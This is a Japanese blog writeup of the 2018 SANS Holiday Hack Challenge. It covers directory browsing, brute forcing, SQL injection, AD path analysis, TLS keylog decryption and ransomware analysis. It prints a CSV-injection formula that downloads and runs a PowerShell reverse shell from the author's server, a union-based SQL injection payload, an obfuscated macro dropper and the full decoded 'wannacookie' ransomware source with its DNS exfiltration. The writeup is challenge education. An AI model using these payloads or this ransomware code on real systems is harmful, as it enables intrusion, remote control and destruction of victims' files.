The 2018 SANS Holiday Hack Challenge Writeup
新年の初投稿が遅くなりましたが、あけましておめでとうございます。
12/28-12/30開催の35C3 CTFから1/19-1/20開催のInsomni'hack teaser 2019の間、CTFイベントはオフシーズンでした。
ちょうどこの期間に、SANS社がHoliday Hack Challengeを開催しており、私も参加&全完しましたのでwriteupを書きます。
- 概要
- 1) Orientation Challenge
- 2) Directory Browsing
- 3) de Bruijn Sequences
- 4) Data Repo Analysis
- 5) AD Privilege Discovery
- 6) Badge Manipulation
- 7) HR Incident Response
- 8) Network Traffic Forensics
- 9) Ransomware Recovery
- 10) Who Is Behind It All?
- 所感
- おまけ
概要
サンタ城を歩きながら、ペンテスト、フォレンジック、マルウェア解析、ネットワーク解析などのスキルを駆使して、各種チャレンジを解いていく。
以下、城門の前のスクリーンショット。開催直後は門の前に大量の人がいたが、1/14現在はガラガラ。
メインの問題数は全14問と、解くとメインの問題のヒントがもらえるサブの問題が9問。 サブの問題の説明は割愛。
なお、英語でwriteupを書いてエントリーすると、審査または抽選で賞品がもらえたようだ。
残念ながら当BlogはJapanese Only(#インターネット老人会 hashtag on Twitter
)のため、報告不可。
1) Orientation Challenge
過去のHoliday Hack Challengeのストーリーに関する4択問題×6問。
私は今年が初挑戦であるため、問題が何を言ってるかさっぱりわからずGoogle検索してWriteupを読み、答えを調べた。
なお、答えを4問特定してから、残り2問は4×4=16回の総当たりという横着をした。
2) Directory Browsing
https://cfp.kringlecastle.com/ から、Data Loss for Rainbow Teams
というタイトルでCall for papersに応募してリジェクトされた人の名前を特定しろという問題。問題名から、ディレクトリリスティングを使うことが明らか。
https://cfp.kringlecastle.com/cfp/ にアクセスすると、rejected-talks.csv
を発見。
John McClane
が答え。
3) de Bruijn Sequences
4種類の記号を4回選択して、当てるとドアが開く。
256回の総当たりをすれば当たるので、スクリプト書いて実行。
import requests import itertools s = requests.Session() for i in itertools.product({'0','1','2','3'}, repeat=4): req = requests.Request( 'GET', "https://doorpasscoden.kringlecastle.com/checkpass.php", params={ "i":"".join(i), "resourceId":"1" } ) prepared = req.prepare() r = s.send(prepared, allow_redirects = False) print(i) if len(r.text) != 46: print(r.text) exit(0)
実行する。
('3', '3', '3', '3') ('3', '3', '3', '2') ('3', '3', '3', '0') (snip) ('0', '1', '2', '3') ('0', '1', '2', '2') ('0', '1', '2', '0') {"success":true,"resourceId":"1","hash":"1c49ebfdb891f43cafef54856a775f6cbc0497b462af5452a17af1798e1d8433","message":"Correct guess!"}
4) Data Repo Analysis
https://git.kringlecastle.com/Upatree/santas_castle_automation から、passwordを取得する問題。
gitのリポジトリのcommitの履歴を辿れば、どこかにあると予想。
以下のコマンドで、各commit間のdiffを全量出力して眺める。
$ git log | grep -e "commit [0-9a-f]\{40\}" | sed 's/commit //' > commit.txt $ for i in `cat commit.txt`; do echo "----------------$i----------------">>diff.txt ; git diff ${i}^..${i} >> diff.txt; done
passwordを発見。
----------------7f46bd5f88d0d5ac9f68ef50bebb7c52cfa67442---------------- diff --git a/schematics/for_elf_eyes_only.md b/schematics/for_elf_eyes_only.md deleted file mode 100644 index b06a507..0000000 --- a/schematics/for_elf_eyes_only.md +++ /dev/null @@ -1,15 +0,0 @@ -Our Lead InfoSec Engineer Bushy Evergreen has been noticing an increase of brute force attacks in our logs. Furthermore, Albaster discovered and published a vulnerability with our password length at the last Hacker Conference. - -Bushy directed our elves to change the password used to lock down our sensitive files to something stronger. Good thing he caught it before those dastardly villians did! - - -Hopefully this is the last time we have to change our password again until next Christmas. - - - - -Password = 'Yippee-ki-yay' - - -Change ID = '9ed54617547cfca783e0f81f8dc5c927e3d1e3' -
Yippee-ki-yay
が答え。
5) AD Privilege Discovery
以下、問題文を抜粋。
find a reliable path from a Kerberoastable user to the Domain Admins group. What’s the user’s logon name? Remember to avoid RDP as a control path as it depends on separate local privilege escalation flaws.
Kerberoastable userからDomain Admins groupへのパスを見つけろ、但しRDP接続は除けとのこと。
Active Directoryに疎いので、正直、意味を理解しきれていないが、とりあえず手を動かしてみる。
ovaファイルが提供され、Active DirectoryログはBloodHoundという解析ツールに取り込み済み。親切~。
BloodHoundを起動してポチポチ触ると、あらかじめ用意されたCustom Queryがある。
その中から、Shortest Paths to Domain Admins from Kerberoastable Users
という、ドンピシャなQueryを発見。
選択してプロットされた図から、RDPを介さずにDomain Admins groupに到達するユーザーを発見。
LDUBEJ00320@AD.KRINGLECASTLE.COM
が答え。
6) Badge Manipulation
カメラモニタと指紋認証とUSB端子があるドアを開ける。
右上の緑の四角をクリックすると、リアルな人間の手が表示され、指紋認証が始まるが開かない。
USB端子をクリックするとファイルアップロードが可能。 適当なファイルをアップロードすると、QRコードをアップしろとのエラーメッセージが表示された。
なお、左の黒い四角のモニタは、PCにカメラが接続されていれば本当に映る。 知らずに、出先でカメラ付きのノートPCでチャレンジしていたときに、突然自分の顔が映ったときは心拍数が跳ね上がった。
サブ問題を解いてSQL Injection
というヒントを得た。
よって、シングルクォーテーションが入った文字列をQRコード画像化してアップロードすると以下のメッセージが返却された。
{"data":"EXCEPTION AT (LINE 96 \"user_info = query(\"SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '{}' LIMIT 1\".format(uid))\"): (1064, u\"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '''' LIMIT 1' at line 1\")","request":false}
単純なSQL Injectionのようだ。enabled を1
にするため、union句を使ったSQL文を作成する。
' union all select 1,1,1 #
メッセージが流れてしまっているが、アップロードしたら認証成功した。
7) HR Incident Response
https://careers.kringlecastle.com/ から、C:\candidate_evaluation.docx
を取得して、K
から始まる求職者が加担しているサイバーテロリスト組織名を答える問題。
サブ問題を解いてCSV Injection
というヒントを得た。
なるほど、CSVがアップロードできる。
Excelで開いたらセル内の式が発動してpowershellを起動するCSVを作ってアップロードし、リバースシェルを取ればよさそうだ。
CSV形式のマルウェア、昨年のばらまき型メールの添付ファイルでも何度か見たことを思い出した。
作成したCSVは以下のとおり。Excelで開いたらmini-reverse.ps1を自サーバからダウンロードして実行する単純なもの。
=cmd|' /C powershell IEX (New-Object Net.WebClient).DownloadString("http://my-server/mini-reverse.ps1")'!A1
リバースシェルはこれを使った。
A reverse shell in Powershell · GitHub
先頭のIPアドレスとPort番号を書き換える。
また、IEXで実行するため、ダブルクォーテーションをエスケープする必要があった。"
を\"
に置換した。少々ハマった。
実行の手順は以下の通り。
nc -l -p <ポート番号>
を実行して待ち受け準備。- 別ターミナルでapacheのアクセスログを
tail -f
で流して監視。 - CSVのアップロードを実行。
- mini-reverse.ps1 へアクセスが来た数秒後に、以下のコマンドを投入。
powershell [Convert]::ToBase64String([System.IO.File]::ReadAllBytes('C:\\candidate_evaluation.docx')) UEsDBBQACAgIAC2fh00AAAAAAAAAAAAAAAALAAAAX3JlbHMvLnJlbHO(snip)
得られたBASE64エンコード文字列をデコードしてWordで開く。
Fancy BearFancy Beaver
が答え。
8) Network Traffic Forensics
パケットキャプチャ&パケットアナライザを提供するWebシステムを使用して、Holly Evergreen
からAlabaster Snowball
へ送ったドキュメントを取得する問題。
アカウントを登録してログインすると、Analyze PCAP
とSNIFF TRAFFIC
というボタンがある。
Analyze PCAP
は、PCAPファイルをアップロードして一覧表示する機能。
SNIFF TRAFFIC
は、20秒間、このシステムがパケットキャプチャして、PCAPファイルとしてダウンロードできる機能。
最初、何をするのかわからなかったが、どうやら、SNIFF TRAFFIC
したPCAPファイルに、Holly Evergreen
からAlabaster Snowball
へ送ったドキュメントの手がかりがあるようだ。
ただ、HTTPSによる通信のため、PCAPファイルをWireSharkで開いてもApplication Data
と表示されて中身がみれない。
Webシステムの調査を進めると、以下のコメントを発見。
(snip) //File upload Function. All extensions and sizes are validated server-side in app.js (snip) //File Size and extensions are also validated server-side in app.js. (snip)
app.jsのソースを探すと、https://packalyzer.kringlecastle.com/pub/app.js に発見。
ソースコードを読み解く。注目するべきは以下の2か所。
①
const dev_mode = true; const key_log_path = ( !dev_mode || __dirname + process.env.DEV + process.env.SSLKEYLOGFILE ) const options = { key: fs.readFileSync(__dirname + '/keys/server.key'), cert: fs.readFileSync(__dirname + '/keys/server.crt'), http2: { protocol: 'h2', // HTTP2 only. NOT HTTP1 or HTTP1.1 protocols: [ 'h2' ], }, keylog : key_log_path //used for dev mode to view traffic. Stores a few minutes worth at a time };
②
function load_envs() { var dirs = [] var env_keys = Object.keys(process.env) for (var i=0; i < env_keys.length; i++) { if (typeof process.env[env_keys[i]] === "string" ) { dirs.push(( "/"+env_keys[i].toLowerCase()+'/*') ) } } return uniqueArray(dirs) } if (dev_mode) { //Can set env variable to open up directories during dev const env_dirs = load_envs(); } else { const env_dirs = ['/pub/','/uploads/']; } (snip) //Route for anything in the public folder except index, home and register router.get(env_dirs, async (ctx, next) => { try { var Session = await sessionizer(ctx); //Splits into an array delimited by / let split_path = ctx.path.split('/').clean(""); //Grabs directory which should be first element in array let dir = split_path[0].toUpperCase(); split_path.shift(); let filename = "/"+split_path.join('/'); while (filename.indexOf('..') > -1) { filename = filename.replace(/\.\./g,''); } if (!['index.html','home.html','register.html'].includes(filename)) { ctx.set('Content-Type',mime.lookup(__dirname+(process.env[dir] || '/pub/')+filename)) ctx.body = fs.readFileSync(__dirname+(process.env[dir] || '/pub/')+filename) } else { ctx.status=404; ctx.body='Not Found'; } } catch (e) { ctx.body=e.toString(); } });
①より、__dirname + process.env.DEV + process.env.SSLKEYLOGFILE
に、keylog
ファイルを出力している。
以下ドキュメントを読んだところ、keylog
ファイルがあれば、特定の時間内のPCAPファイルを復号できるようだ。
(流石、SANS!)
www.sans.org
②より、process.env
にセットされている環境変数の文字列が、静的コンテンツのダウンロード先ディレクトリになるようだ。
例えば、process.env.HOGE = "fuga"
がセットされていれば、/fuga/aaaa.txt
ファイルをダウンロードできる模様。
keylog
ファイルはprocess.env.DEV
のディレクトリ配下に作成されることはわかっているため、process.env.DEV
、process.env.SSLKEYLOGFILE
の値がわかればダウンロードできる。
試しにprocess.env.DEV
、process.env.SSLKEYLOGFILE
の変数名をそのままパスにしてアクセスしてみる。
https://packalyzer.kringlecastle.com/DEV/
Error: EISDIR: illegal operation on a directory, read
DEVディレクトリが存在するようだ!
https://packalyzer.kringlecastle.com/SSLKEYLOGFILE/
Error: ENOENT: no such file or directory, open '/opt/http2packalyzer_clientrandom_ssl.log/'
SSLKEYLOGFILEのファイル名がわかった!
これらの情報より、keylog
ファイルのパスが判明した。
https://packalyzer.kringlecastle.com/dev/packalyzer_clientrandom_ssl.log
CLIENT_RANDOM 3597D1735D7B3A17DDE8E500AA4E9A82AE04A56F4B2C0581FA24DCB97410C7E5 5C72E0E51E6237CF65C554D2AD798724F8F38FD6B98407CACCEA1E0D95490216BB3B34A729E961C597A707EF694AEE37 CLIENT_RANDOM 199892BA0535C02CD1AB9A832F85BDAA1A4A32194B10A52D0C57BD39C2BECF4E 30DD840A5084BC474BD4AB3390AA7A60CBC25FA231F30C9A77B8004F78C382C228A184722E2493183E5449ADD68FF991 CLIENT_RANDOM F28FAE7892D99F9D1CAD42592BDD370B02D928194C47491A240C63FBE05239C5 ACD8FB9E512932F814D96F90565EE97D79EBCF77F93D821683EE53F402513C7B9CA59E79BAD10871B9ADF648BB37165A CLIENT_RANDOM F12159347D0B70C00CEE2F39F425E35ECC780CD3A8E739904BAB8F18832132B0 4323B6691163A22188978D58F03F15AD4EE12DF320DFC1CDBE0CF4714FA3842EA58745E56457FC16264D2897598AEF63 CLIENT_RANDOM 8D14BC97A066335AB829BD5B2EBBB7E25ABE4C95A9C1035D6613E3DB9A7EFF21 DC82E8547E2CC9089C99E066E3CD2F81575E875AFBF90D06FED7B83B692A60FABC4FE32A2848945D50A4A694EEDD9451 (snip)
SNIFF TRAFFIC
ボタンを押下してPCAPファイルを取得してから、直後にkeylog
ファイルをダウンロードする。
WireSharkの編集 -> 設定 -> Protocol -> SSLの画面で、(Pre)-Master-Secret log filename
にkeylog
ファイルをセットする。
PCAPファイルを開くとTLS暗号化されていた中身が見れた。 WireShark上でグリーン表示になった時は感動した。
通信内容はHTTP2。DATAフレームを中心に中身を確認する。
なお、以前に技術書典5で購入した本を読んでいたので、通常のHTTP通信との違いに戸惑うことなく、すんなりと解析を始められた。おすすめ。
booth.pm
DATAフレームを眺めていると、alabaster
ユーザのクレデンシャル情報を発見。
ログインしてみると、Captures画面にいかにもなPCAPファイルを発見。
BASE64デコードするとPDFファイルになった。
2ページ目の末尾のMary Had a Little Lamb
が答え。
9) Ransomware Recovery
不審な通信検知、ランサムウェアのマルウェア解析、キルスイッチ設定、被害ファイルの復号をする問題。
9-1) Catch the Malware
PCAPファイルを読み解いて、不審な通信先をアラート検知するSnortルールを作る問題。
ドメインとIPは変動するので、パターンを見極めてルールを作る必要がある。
まず、PCAPファイルから傾向をつかむ。
elf@359a2f37b283:~$ tshark -r snort.log.pcap -T fields -e dns.qry.name 77616E6E61636F6F6B69652E6D696E2E707331.easrbnhrug.org 77616E6E61636F6F6B69652E6D696E2E707331.easrbnhrug.org 77616E6E61636F6F6B69652E6D696E2E707331.bngaurrhes.net 77616E6E61636F6F6B69652E6D696E2E707331.bngaurrhes.net durex.linkedin.com durex.linkedin.com 0.77616E6E61636F6F6B69652E6D696E2E707331.easrbnhrug.org 0.77616E6E61636F6F6B69652E6D696E2E707331.easrbnhrug.org 0.77616E6E61636F6F6B69652E6D696E2E707331.bngaurrhes.net 0.77616E6E61636F6F6B69652E6D696E2E707331.bngaurrhes.net preoffering.earthfall.google.com preoffering.earthfall.google.com 1.77616E6E61636F6F6B69652E6D696E2E707331.bngaurrhes.net 1.77616E6E61636F6F6B69652E6D696E2E707331.bngaurrhes.net asked.suctional.islandology.yahoo.com asked.suctional.islandology.yahoo.com
77616E6E61636F6F6B69652E6D696E2E707331
が含まれているドメインがどう見ても悪性。
このランダム文字列の部分も変動すると思い正規表現を駆使したルールを作っていたが、結局、以下のルールで成功した。 ちょっと肩すかし。
alert udp $HOME_NET any -> $EXTERNAL_NET 53 (msg:"BLACKLIST DNS domain"; pcre:"/77616E6E61636F6F6B69652E6D696E2E707331/"; sid:1000001; rev:1;) alert udp $EXTERNAL_NET 53 -> $HOME_NET any (msg:"BLACKLIST DNS domain"; pcre:"/77616E6E61636F6F6B69652E6D696E2E707331/"; sid:1000002; rev:1;)
なお、最初、クライアント→サーバの通信だけアラート検知すればよいと思い、中々成功せずに少々ハマった。
9-2) Identify the Domain
ランサムウェアのwordファイルを解析して通信先のドメインを特定する問題。
olevbaツールを使うと以下のマクロが見つかる。
powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C "sal a New-Object; iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"
BASE64デコードして、Deflateをかければ中身がわかる。
>>> import base64 >>> import zlib >>> encoded = 'lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG' >>> decoded = base64.b64decode(encoded) >>> decompressed = zlib.decompress(decoded, -15) >>> print(decompressed.decode("utf-8")) function H2A($a) {$o; $a -split '(..)' | ? { $_ } | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_}; return $o}; $f = "77616E6E61636F6F6B69652E6D696E2E707331"; $h = ""; foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) {$h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings}; iex($(H2A $h | Out-string))
erohetfanu.com
が答え。
9-3) Stop the Malware
マルウェアにキルスイッチ機能が実装されているようで、そのドメインを特定する問題。
9-2のPowerShellを実行して、2次検体を取得する。
ただ、そのまま実行すると自分も被害にあう可能性があるため、最後にiex
で実行している部分をコメントアウトし、コード実行はせずにコードを文字列で出力するよう改造する。
function H2A($a) { $o; $a -split '(..)' | ? { $_ } | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_}; return $o }; $f = "77616E6E61636F6F6B69652E6D696E2E707331"; $h = ""; foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) { $h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings }; #iex($(H2A $h | Out-string)) $(H2A $h | Out-string)
実行結果は以下の通り。
PS D:\Develop\CTF\Contest\HolidayChallenge2018> powershell .\1次検体.ps1 $functions = {function e_d_file($key, $File, $enc_it) {[byte[]]$key = $key;$Suffix = "`.wannacookie";[System.Reflection.Assembly]::LoadWithPartialName('System.Security.Cryptography');[System.Int32]$KeySize = $key.Length*8;$AESP = New-Object 'System.Security.Cryptography.AesManaged';$AESP.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AESP.BlockSize = 128;$AESP.KeySize = $KeySize;$AESP.Key = $key;$FileSR = New-Object System.IO.FileStream($File, [System.IO.FileMode]::Open);if ($enc_it) {$DestFile = $File + $Suffix} else {$DestFile = ($File -replace $Suffix)};$FileSW = New-Object System.IO.FileStream($DestFile, [System.IO.FileMode]::Create);if ($enc_it) {$AESP.GenerateIV();$FileSW.Write([System.BitConverter]::GetBytes($AESP.IV.Length), 0, 4);$FileSW.Write($AESP.IV, 0, $AESP.IV.Length);$Transform = $AESP.CreateEncryptor()} else {[Byte[]]$LenIV = New-Object Byte[] 4;$FileSR.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null;$FileSR.Read($LenIV, 0, 3) | Out-Null;[Int]$LIV = [System.BitConverter]::ToInt32($LenIV, 0);[Byte[]]$IV = New-Object Byte[] $LIV;$FileSR.Seek(4, [System.IO.SeekOrigin]::Begin) | Out-Null;$FileSR.Read($IV, 0, $LIV) | Out-Null;$AESP.IV = $IV;$Transform = $AESP.CreateDecryptor()};$CryptoS = New-Object System.Security.Cryptography.CryptoStream($FileSW, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write);[Int]$Count = 0;[Int]$BlockSzBts = $AESP.BlockSize / 8;[Byte[]]$Data = New-Object Byte[] $BlockSzBts;Do {$Count = $FileSR.Read($Data, 0, $BlockSzBts);$CryptoS.Write($Data, 0, $Count)} While ($Count -gt 0);$CryptoS.FlushFinalBlock();$CryptoS.Close();$FileSR.Close();$FileSW.Close();Clear-variable -Name "key";Remove-Item $File}};function H2B {param($HX);$HX = $HX -split '(..)' | ? { $_ };ForEach ($value in $HX){[Convert]::ToInt32($value,16)}};function A2H(){Param($a);$c = '';$b = $a.ToCharArray();;Foreach ($element in $b) {$c = $c + " " + [System.String]::Format("{0:X}", [System.Convert]::ToUInt32($element))};return $c -replace ' '};function H2A() {Param($a);$outa;$a -split '(..)' | ? { $_ } | forEach {[char]([convert]::toint16($_,16))} | forEach {$outa = $outa + $_};return $outa};function B2H {param($DEC);$tmp = '';ForEach ($value in $DEC){$a = "{0:x}" -f [Int]$value;if ($a.length -eq 1){$tmp += '0' + $a} else {$tmp += $a}};return $tmp};function ti_rox {param($b1, $b2);$b1 = $(H2B $b1);$b2 = $(H2B $b2);$cont = New-Object Byte[] $b1.count;if ($b1.count -eq $b2.count) {for($i=0; $i -lt $b1.count ; $i++) {$cont[$i] = $b1[$i] -bxor $b2[$i]}};return $cont};function B2G {param([byte[]]$Data);Process {$out = [System.IO.MemoryStream]::new();$gStream = New-Object System.IO.Compression.GzipStream $out, ([IO.Compression.CompressionMode]::Compress);$gStream.Write($Data, 0, $Data.Length);$gStream.Close();return $out.ToArray()}};function G2B {param([byte[]]$Data);Process {$SrcData = New-Object System.IO.MemoryStream( , $Data );$output = New-Object System.IO.MemoryStream;$gStream = New-Object System.IO.Compression.GzipStream $SrcData, ([IO.Compression.CompressionMode]::Decompress);$gStream.CopyTo( $output );$gStream.Close();$SrcData.Close();[byte[]] $byteArr = $output.ToArray();return $byteArr}};function sh1([String] $String) {$SB = New-Object System.Text.StringBuilder;[System.Security.Cryptography.HashAlgorithm]::Create("SHA1").ComputeHash([System.Text.Encoding]::UTF8.GetBytes($String))|%{[Void]$SB.Append($_.ToString("x2"))};$SB.ToString()};function p_k_e($key_bytes, [byte[]]$pub_bytes){$cert = New-Object -TypeName System.Security.Cryptography.X509Certificates.X509Certificate2;$cert.Import($pub_bytes);$encKey = $cert.PublicKey.Key.Encrypt($key_bytes, $true);return $(B2H $encKey)};function e_n_d {param($key, $allfiles, $make_cookie );$tcount = 12;for ( $file=0; $file -lt $allfiles.length; $file++ ) {while ($true) {$running = @(Get-Job | Where-Object { $_.State -eq 'Running' });if ($running.Count -le $tcount) {Start-Job -ScriptBlock {param($key, $File, $true_false);try{e_d_file $key $File $true_false} catch {$_.Exception.Message | Out-String | Out-File $($env:userprofile+'\Desktop\ps_log.txt') -append}} -args $key, $allfiles[$file], $make_cookie -InitializationScript $functions;break} else {Start-Sleep -m 200;continue}}}};function g_o_dns($f) {$h = '';foreach ($i in 0..([convert]::ToInt32($(Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).Strings, 10)-1)) {$h += $(Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).Strings};return (H2A $h)};function s_2_c($astring, $size=32) {$new_arr = @();$chunk_index=0;foreach($i in 1..$($astring.length / $size)) {$new_arr += @($astring.substring($chunk_index,$size));$chunk_index += $size};return $new_arr};function snd_k($enc_k) {$chunks = (s_2_c $enc_k );foreach ($j in $chunks) {if ($chunks.IndexOf($j) -eq 0) {$n_c_id = $(Resolve-DnsName -Server erohetfanu.com -Name "$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings} else {$(Resolve-DnsName -Server erohetfanu.com -Name "$n_c_id.$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings}};return $n_c_id};function wanc {$S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000";if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) {return};if ($(netstat -ano | Select-String "127.0.0.1:8080").length -ne 0 -or (Get-WmiObject Win32_ComputerSystem).Domain -ne "KRINGLECASTLE") {return};$p_k = [System.Convert]::FromBase64String($(g_o_dns("7365727665722E637274") ) );$b_k = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {Get-Random})[0..15] -join '')) | ? {$_ -ne 0x00});$h_k = $(B2H $b_k);$k_h = $(sh1 $h_k);$p_k_e_k = (p_k_e $b_k $p_k).ToString();$c_id = (snd_k $p_k_e_k);$d_t = (($(Get-Date).ToUniversalTime() | Out-String) -replace "`r`n");[array]$f_c = $(Get-ChildItem *.elfdb -Exclude *.wannacookie -Path $($($env:userprofile+'\Desktop'),$($env:userprofile+'\Documents'),$($env:userprofile+'\Videos'),$($env:userprofile+'\Pictures'),$($env:userprofile+'\Music')) -Recurse | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname});e_n_d $b_k $f_c $true;Clear-variable -Name "h_k";Clear-variable -Name "b_k";$lurl = 'http://127.0.0.1:8080/';$html_c = @{'GET /' = $(g_o_dns (A2H "source.min.html"));'GET /close' = '<p>Bye!</p>'};Start-Job -ScriptBlock{param($url);Start-Sleep 10;Add-type -AssemblyName System.Windows.Forms;start-process "$url" -WindowStyle Maximized;Start-sleep 2;[System.Windows.Forms.SendKeys]::SendWait("{F11}")} -Arg $lurl;$list = New-Object System.Net.HttpListener;$list.Prefixes.Add($lurl);$list.Start();try {$close = $false;while ($list.IsListening) {$context = $list.GetContext();$Req = $context.Request;$Resp = $context.Response;$recvd = '{0} {1}' -f $Req.httpmethod, $Req.url.localpath;if ($recvd -eq 'GET /') {$html = $html_c[$recvd]} elseif ($recvd -eq 'GET /decrypt') {$akey = $Req.QueryString.Item("key");if ($k_h -eq $(sh1 $akey)) {$akey = $(H2B $akey);[array]$f_c = $(Get-ChildItem -Path $($env:userprofile) -Recurse -Filter *.wannacookie | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname});e_n_d $akey $f_c $false;$html = "Files have been decrypted!";$close = $true} else {$html = "Invalid Key!"}} elseif ($recvd -eq 'GET /close') {$close = $true;$html = $html_c[$recvd]} elseif ($recvd -eq 'GET /cookie_is_paid') {$c_n_k = $(Resolve-DnsName -Server erohetfanu.com -Name ("$c_id.72616e736f6d697370616964.erohetfanu.com".trim()) -Type TXT).Strings;if ( $c_n_k.length -eq 32 ) {$html = $c_n_k} else {$html = "UNPAID|$c_id|$d_t"}} else {$Resp.statuscode = 404;$html = '<h1>404 Not Found</h1>'};$buffer = [Text.Encoding]::UTF8.GetBytes($html);$Resp.ContentLength64 = $buffer.length;$Resp.OutputStream.Write($buffer, 0, $buffer.length);$Resp.Close();if ($close) {$list.Stop();return}}} finally {$list.Stop()}};wanc;
整形しながら読み進める。(良いPowerShellの整形ツールが見つからない・・・。誰か教えてください。)
キルスイッチとなるドメイン名を特定する問題なので、実行後の前半部分でreturnする処理に着目する。
$S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000"; if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) { return };
DNSから情報をかき集めており、ソースコードを見ていても答えは無いため、実行してしまうことにする。
参照している関数を集めて、1つのps1ファイルにする。
function H2B { param($HX); $HX = $HX -split '(..)' | ? { $_ }; ForEach ($value in $HX) {[Convert]::ToInt32($value, 16)} }; function H2A() { Param($a); $outa; $a -split '(..)' | ? { $_ } | forEach {[char]([convert]::toint16($_, 16))} | forEach {$outa = $outa + $_}; return $outa }; function B2H { param($DEC); $tmp = ''; ForEach ($value in $DEC) { $a = "{0:x}" -f [Int]$value; if ($a.length -eq 1) { $tmp += '0' + $a } else { $tmp += $a } }; return $tmp }; function ti_rox { param($b1, $b2); $b1 = $(H2B $b1); $b2 = $(H2B $b2); $cont = New-Object Byte[] $b1.count; if ($b1.count -eq $b2.count) { for ($i = 0; $i -lt $b1.count ; $i++) { $cont[$i] = $b1[$i] -bxor $b2[$i] } }; return $cont }; function G2B { param([byte[]]$Data); Process { $SrcData = New-Object System.IO.MemoryStream( , $Data ); $output = New-Object System.IO.MemoryStream; $gStream = New-Object System.IO.Compression.GzipStream $SrcData, ([IO.Compression.CompressionMode]::Decompress); $gStream.CopyTo( $output ); $gStream.Close(); $SrcData.Close(); [byte[]] $byteArr = $output.ToArray(); return $byteArr } }; $S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000"; $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings)))
実行するとドメイン名らしき文字列が表示される。
PS D:\Develop\CTF\Contest\HolidayChallenge2018> .\killswitch.ps1 yippeekiyaa.aaay
yippeekiyaa.aaay
が答え。
サンタ城内の端末からドメイン登録する。
登録に成功した。(間違ったドメインを入力すると登録できない。)
9-4) Recover Alabaster's Password
ランサムウェアの被害にあったファイルを復号する問題。
ランサムウェア実行時のpowershellのメモリダンプファイルが与えられる。
とりあえず、ソースコードを読み進める。
$p_k = [System.Convert]::FromBase64String($(g_o_dns("7365727665722E637274") ) ); $b_k = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {Get-Random})[0..15] -join '')) | ? {$_ -ne 0x00}); $h_k = $(B2H $b_k); $k_h = $(sh1 $h_k); $p_k_e_k = (p_k_e $b_k $p_k).ToString(); $c_id = (snd_k $p_k_e_k);
$p_k
は、犯人のC2サーバから取得する公開鍵$b_k
は、ファイル暗号化に使用するランダムの16バイトの共通鍵$p_k_e_k
は、$b_k
を$p_k
で暗号化したデータ$h_k
、$k_h
および$c_id
は、身代金の支払い画面で使用するパラメータのため割愛
$p_k_e_k
を復号できれば、$b_k
が判明しファイルを復号できる。
しかし、$p_k
